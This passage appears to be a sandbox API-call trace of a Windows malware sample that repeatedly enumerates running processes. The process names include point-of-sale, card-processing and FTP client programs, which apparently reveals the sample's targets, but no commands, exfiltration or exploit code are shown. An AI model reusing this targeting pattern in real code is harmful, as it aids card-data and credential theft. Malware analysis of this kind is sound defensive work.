hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0128.414] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0128.417] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0128.420] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0128.422] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0128.425] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0128.427] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0128.430] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0128.432] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0128.435] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0128.437] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0128.440] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0128.443] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0128.445] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0128.447] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0128.450] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0128.453] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0128.456] CloseHandle (hObject=0x207c) returned 1 [0128.456] Sleep (dwMilliseconds=0x64) [0128.556] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x202c [0128.574] Process32First (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.576] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0128.579] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0128.581] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0128.583] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0128.653] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0128.656] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0128.658] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0128.661] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0128.663] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.665] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.669] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0128.672] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.674] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.676] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.679] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.681] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.683] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.686] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.688] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0128.691] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0128.693] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0128.695] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.698] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0128.700] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0128.703] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0128.705] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0128.707] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0128.709] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0128.712] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0128.715] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.717] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0128.720] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0128.722] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0128.724] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0128.727] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.729] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0128.731] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0128.739] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0128.741] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0128.744] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0128.746] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0128.749] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0128.751] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0128.754] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0128.756] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0128.758] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0128.844] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0128.846] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0128.848] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0128.851] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0128.853] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0128.855] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0128.858] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0128.860] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0128.865] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0128.867] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0128.869] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0128.872] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0128.877] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0128.880] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0128.883] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0128.886] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0128.889] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0128.891] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0128.894] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0128.897] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: 